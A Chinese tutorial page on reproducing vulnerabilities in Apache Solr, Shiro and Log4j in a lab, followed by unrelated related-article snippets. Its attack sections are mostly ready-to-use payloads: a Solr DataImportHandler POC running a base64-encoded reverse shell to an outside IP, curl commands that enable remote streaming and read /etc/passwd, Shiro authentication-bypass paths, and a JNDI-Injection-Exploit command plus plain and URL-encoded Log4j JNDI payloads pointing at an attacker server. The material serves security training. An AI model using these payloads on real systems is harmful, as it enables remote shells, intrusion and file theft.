服务攻防-开发组件安全Solr搜索Shiro身份Log4j日志本地CVE环境复现

news2024/11/15 1:29:27

知识点:
1、J2EE-组件安全-Solr-全文搜索
2、J2EE-组件安全-Shiro-身份验证
3、J2EE-组件安全-Log4J-日志记录

章节点:
1、目标判断-端口扫描&组合判断&信息来源
2、安全问题-配置不当&CVE漏洞&弱口令爆破
3、复现对象-数据库&中间件&开发框架&应用协议

常见语言开发框架:

PHP:Thinkphp Laravel YII CodeIgniter CakePHP Zend等 JAVA:Spring MyBatis
Hibernate Struts2 Springboot等 Python:Django Flask Bottle Turbobars
Tornado Web2py等 Javascript:Vue.js Node.js Bootstrap JQuery Angular等

常见语言开发组件:(Java)

Apache Solr、Apache Shiro、Apache Struts2、Apache
Flink、Flume、Dubbo、Redis、Logstash、ElasticSearch、Kafka、Ghidra、Minecraft、Apache
hive、Datax、Streaming、Dolphin Scheduler、Storm、Spring、Aibaba
FastJson、Jackson、Log4J、XSteam等。

一、演示案例-J2EE-组件Solr-本地demo&CVE

主要基于HTTP和Apache Lucene实现的全文搜索服务器。

黑盒特征:图标及端口8983
在这里插入图片描述
在这里插入图片描述

1、命令执行(CVE-2019-17558)

影响版本

Apache Solr 5.0.0版本至8.3.1

利用项目

https://github.com/jas502n/solr_rce

D:\Python27\python.exe solr_rce.py http://123.58.236.76:50847 id

在这里插入图片描述

2、远程命令执行漏洞(CVE-2019-0193)

影响版本

Apache Solr < 8.2.0版本

https://vulhub.org/#/environments/solr/CVE-2019-0193/

条件1

Apache SolrDataImportHandler启用了模块DataImportHandler(默认不会被启用)
在这里插入图片描述
在这里插入图片描述

条件2

Solr Admin UI未开启鉴权认证。(默认情况无需任何认证)
在这里插入图片描述
选择已有核心后选择Dataimport功能并选择debug模式,更改填入以下POC,点击Execute with this Confuguration

<dataConfig>
  <dataSource type="URLDataSource"/>
  <script><![CDATA[
          function poc(){ java.lang.Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45NC4yMzYuMTE3LzU1NjYgMD4mMQ==}|{base64,-d}|{bash,-i}");
          }
  ]]></script>
  <document>
    <entity name="stackoverflow"
            url="https://stackoverflow.com/feeds/tag/solr"
            processor="XPathEntityProcessor"
            forEach="/feed"
            transformer="script:poc" />
  </document>
</dataConfig>

在这里插入图片描述
在这里插入图片描述

3、Apache Solr 文件读取&SSRF (CVE-2021-27905)

全版本官方拒绝修复漏洞

1、获取数据库名

http://47.94.236.117:8983/solr/admin/cores?indexInfo=false&wt=json

在这里插入图片描述
在这里插入图片描述

2、访问触发

curl -i -s -k -X $'POST' \
    -H $'Content-Type: application/json' --data-binary $'{\"set-property\":{\"requestDispatcher.requestParsers.enableRemoteStreaming\":true}}' \
    $'http://47.94.236.117:8983/solr/demo/config'

在这里插入图片描述

3、任意文件读取

curl -i -s -k 'http://47.94.236.117:8983/solr/demo/debug/dump?param=ContentStreams&stream.url=file:///etc/passwd'

在这里插入图片描述

二、演示案例-J2EE-组件Shiro-本地demo&CVE

Java安全框架,能够用于身份验证、授权、加密和会话管理。

黑盒特征:数据包cookie里面rememberMe
白盒审计:看调用的shiro库对应版本是否爆过漏洞

在这里插入图片描述

1、CVE_2016_4437 Shiro-550+Shiro-721(RCE)

影响范围

Apache Shiro <= 1.2.4

工具直接搜哈
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

2、CVE-2020-11989(身份认证绕过)

Poc:/admin/%20
影响范围:Apache Shiro < 1.7.1
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

3、CVE-2020-1957(身份认证绕过)

Poc:/xxx/..;/admin/
影响范围:Apache Shiro < 1.5.3
在这里插入图片描述
在这里插入图片描述

4、CVE-2022-32532(身份验证绕过)

Poc: /permit/any
/permit/a%0any可绕过
需要依赖代码具体写法,无法自动化,风险较低。
影响范围:Apache Shiro < 1.9.1

三、演示案例-J2EE-组件Log4j-本地demo&CVE

Apache的一个开源项目,是一个基于Java的日志记录框架。

黑盒特征:盲打 会问蓝队攻击特征(${jndi:rmi:///osutj8}

Log4j2远程命令执行(CVE-2021-44228)

漏洞影响的产品版本包括:

Apache Log4j2 2.0 - 2.15.0-rc1

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

修复

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

1、生成反弹Shell的JNDI注入

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45NC4yMzYuMTE3Lzk5MDAgMD4mMQ==}|{base64,-d}|{bash,-i}" -A 47.94.236.117

在这里插入图片描述
在这里插入图片描述

2、构造JNDI注入Payload提交

${jndi:rmi://47.94.236.117:1099/osutj8}

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

%24%7b%6a%6e%64%69%3a%72%6d%69%3a%2f%2f%34%37%2e%39%34%2e%32%33%36%2e%31%31%37%3a%31%30%39%39%2f%6f%73%75%74%6a%38%7d

在这里插入图片描述
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1424235.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Qt 5.9.4 转 Qt 6.6.1 遇到的问题总结(三)

1.QSet: toList 中的toList 函数已不存在&#xff0c;遇到xx->toList改成直接用&#xff0c;如下&#xff1a; 2.开源QWT 图形库中QwtDial中的 setPenWidth 变成 setPenWidthF函数。 3.QDateTime 中无setTime_t 改为了setSecsSinceEpoch函数。 4.QRegExp 类已不存在 可以用Q…

STM32的中断系统详解

一、什么是中断 中断是指CPU在正常执行程序时&#xff0c;遇到外部/内部的紧急事件需处理&#xff0c;暂停当前程序的执行&#xff0c;转而去处理紧急事件&#xff0c;待事件处理完毕后&#xff0c;返回被打断的程序继续执行&#xff0c;这个过程就称之为中断。 中断的意义&a…

单片机驱动多个ds18b20

目录 1设计内容 2ds18b20介绍 2.1传感器引脚及原理图 2.2寄存器配置 3程序实现 3.1配置初始化 3.2配置寄存器 3.3ROM读取 3.4温度读取 1设计内容 通过51单片机&#xff0c;读取总线上挂载的多个ds18b20的温度信息。 如下图&#xff0c;成功读取到3路温度数据。 2ds18…

python打造光斑处理系统4:裁切光斑感兴趣区域

文章目录 图像裁切给定坐标裁切手动阈值裁切 光斑处理&#xff1a;python处理高斯光束的图像 光斑处理系统&#xff1a;程序框架&#x1f31f;打开图像&#x1f31f;参数对话框/伪彩映射 图像裁切 一般来说&#xff0c;光斑只占图像很小一部分&#xff0c;为了更好的观感和更…

Oracle 面试题 | 04.精选Oracle高频面试题

&#x1f90d; 前端开发工程师、技术日更博主、已过CET6 &#x1f368; 阿珊和她的猫_CSDN博客专家、23年度博客之星前端领域TOP1 &#x1f560; 牛客高级专题作者、打造专栏《前端面试必备》 、《2024面试高频手撕题》 &#x1f35a; 蓝桥云课签约作者、上架课程《Vue.js 和 E…

中国城市统计年鉴,多种数据格式可用,时间覆盖1995-2022年

基本信息. 数据名称: 中国城市统计年鉴 数据格式: pdf、jpg、excel、html不定 数据时间: 1995-2021不定 数据几何类型: 文本 数据坐标系: —— 数据来源&#xff1a;国家统计局 示例数据: 目录一、全国城市行政区划1-1 城市行政区划和区域分布1-2 分地区城市情况一…

隧道穿越:隧道穿透技术介绍

后面会进行一些隧道穿越的实验&#xff0c;因此在本篇中这里先介绍一些有关隧道穿越的技术知识点 隧道和隧道穿透 隧道是一种通过互联网基础设施在网络之间传递数据的方式&#xff0c;设计从数据封装、传输到解包的全过程&#xff0c;使用隧道传递的数据&#xff08;或者负载…

存内计算——发展史与近期成果

存内计算的概念早在上个世纪就已经被提出&#xff0c;但当时的人们寄希望于通过优化处理器设计以及工艺制程的升级&#xff0c;来获得性能和能效比的提升&#xff0c;存内计算的研究仅停留在理论阶段。随着大数据时代的到来&#xff0c;存内计算由于其结构特点以及摩尔定律的“…

WiFi基础知识介绍(超详细)

1.WiFi专业名词概念 AP(Access Point):无线接入点&#xff1a;这个概念特别广&#xff0c;在这里&#xff0c;用大白话说&#xff0c;你可以把CC3200当做一个无线路由器&#xff0c;这个路由器的特点不能插入网线&#xff0c;没有接入Internet&#xff0c;只能等待其他设备的链…

springCloud gateway 防止XSS漏洞

springCloud gateway 防止XSS漏洞 一.XSS(跨站脚本)漏洞详解1.XSS的原理和分类2.XSS漏洞的危害3.XSS的防御 二.Java开发中防范XSS跨站脚本攻击的思路三.相关代码&#xff08;适用于spring cloud gateway&#xff09;1.CacheBodyGlobalFilter.java2.XssRequestGlobalFilter.java…

CAS和自旋的区别

一、前言 我们在面试的时候&#xff0c;经常性的会遇到一些关于锁的问题&#xff0c;尤其是面试官会提出问题&#xff1a;你对锁的了解多么&#xff1f;你知道锁的原理么&#xff1f;等等问题&#xff0c;于是也就会有后续延伸出来的&#xff1a;你知道CAS么&#xff1f;你知道…

Habitat环境学习二:导航任务中的Habitat-sim基础Habitat-sim Basics for Navigation

导航任务在Habitat-sim任务中的实现 官方教程概述重要概念1、Hello World程序1.0.1 基础设置Basic settings1.0.2 模拟器设置Configurations for the simulator1.0.3 创建模拟器实例1.0.4 初始化Agent1.0.5 导航和探索 官方教程 Habitat是一个高效的真实的3D模拟器&#xff0c…

基于C++的面向对象程序设计:类与对象的深入剖析

面向对象程序设计的基本特点 面向对象程序设计的基本特点包括&#xff1a;抽象、封装、继承、多态。 抽象 抽象是指对具体问题或对象进行概括&#xff0c;抽出其公共性质并加以描述的过程。一般情况抽象分为数据抽象和行为抽象&#xff0c;其中数据抽象是指一个对象区别于另…

idea/webstorm 创建Vue实例 Unresolved type Vue 处理方法

1.电脑本地安装node.js 官网下载 2. 其他: 未排除变量,前期试错(以下步骤配置了,但不确定对解决问题是否有帮助)

第 10 章:在C++中使用协程进行系统编程

最后一章专门介绍了一项对系统编程非常有用的功能&#xff0c;但这在C标准中相对较新。协程对象迅速找到了应用&#xff0c;成为了一等公民的状态机对象。它们的强大之处在于隐藏了协程帧后面的逻辑。请注意&#xff0c;这是一个高级主题&#xff0c;且C的协程接口既不简单也不…

216961-98-7,BODIPY 493/503 NHS 活化酯,可以应用于分子生物学等领域中

您好&#xff0c;欢迎来到新研之家 文章关键词&#xff1a;216961-98-7&#xff0c;BODIPY 493/503 NHS 活化酯&#xff0c;BODIPY 493/503 NHS ester&#xff0c;BODIPY 493/503 SE 一、基本信息 产品简介&#xff1a;BODIPY 493/503 NHS ester是一种特殊的染料&#xff0c…

【lesson4】高并发内存池ThreadCache(线程缓存)层实现

文章目录 ThreadCache层的结构申请内存逻辑释放内存逻辑自由链表的实现自由链表的成员变量自由链表的成员函数自由链表的完整实现 ThreadCache申请内存过程的实现ThreadCache需要的成员变量ThreadCache需要的成员函数ThreadCache.h文件代码Allocate的实现Deallocate的实现 封装…

02、全文检索 ------ Solr(企业级的开源的搜索引擎) 的下载、安装、Solr的Web图形界面介绍

目录 Solr 的下载和安装Solr的优势&#xff1a;Lucene与Solr 安装 Solr1、下载解压2、添加环境变量3、启动 Solr Solr 所支持的子命令&#xff1a;Solr 的 Core 和 Collection 介绍Solr 的Web控制台DashBoard&#xff08;仪表盘&#xff09;Logging&#xff08;日志&#xff09…

理想架构的高回退Doherty功率放大器理论与ADS仿真-Multistage

理想架构的高回退Doherty功率放大器理论与仿真-Multistage 参考&#xff1a; 三路Doherty设计 01 射频基础知识–基础概念 Switchmode RF and Microwave Power Amplifiers、 理想架构的Doherty功率放大器&#xff08;等分经典款&#xff09;的理论与ADS电流源仿真参考&#x…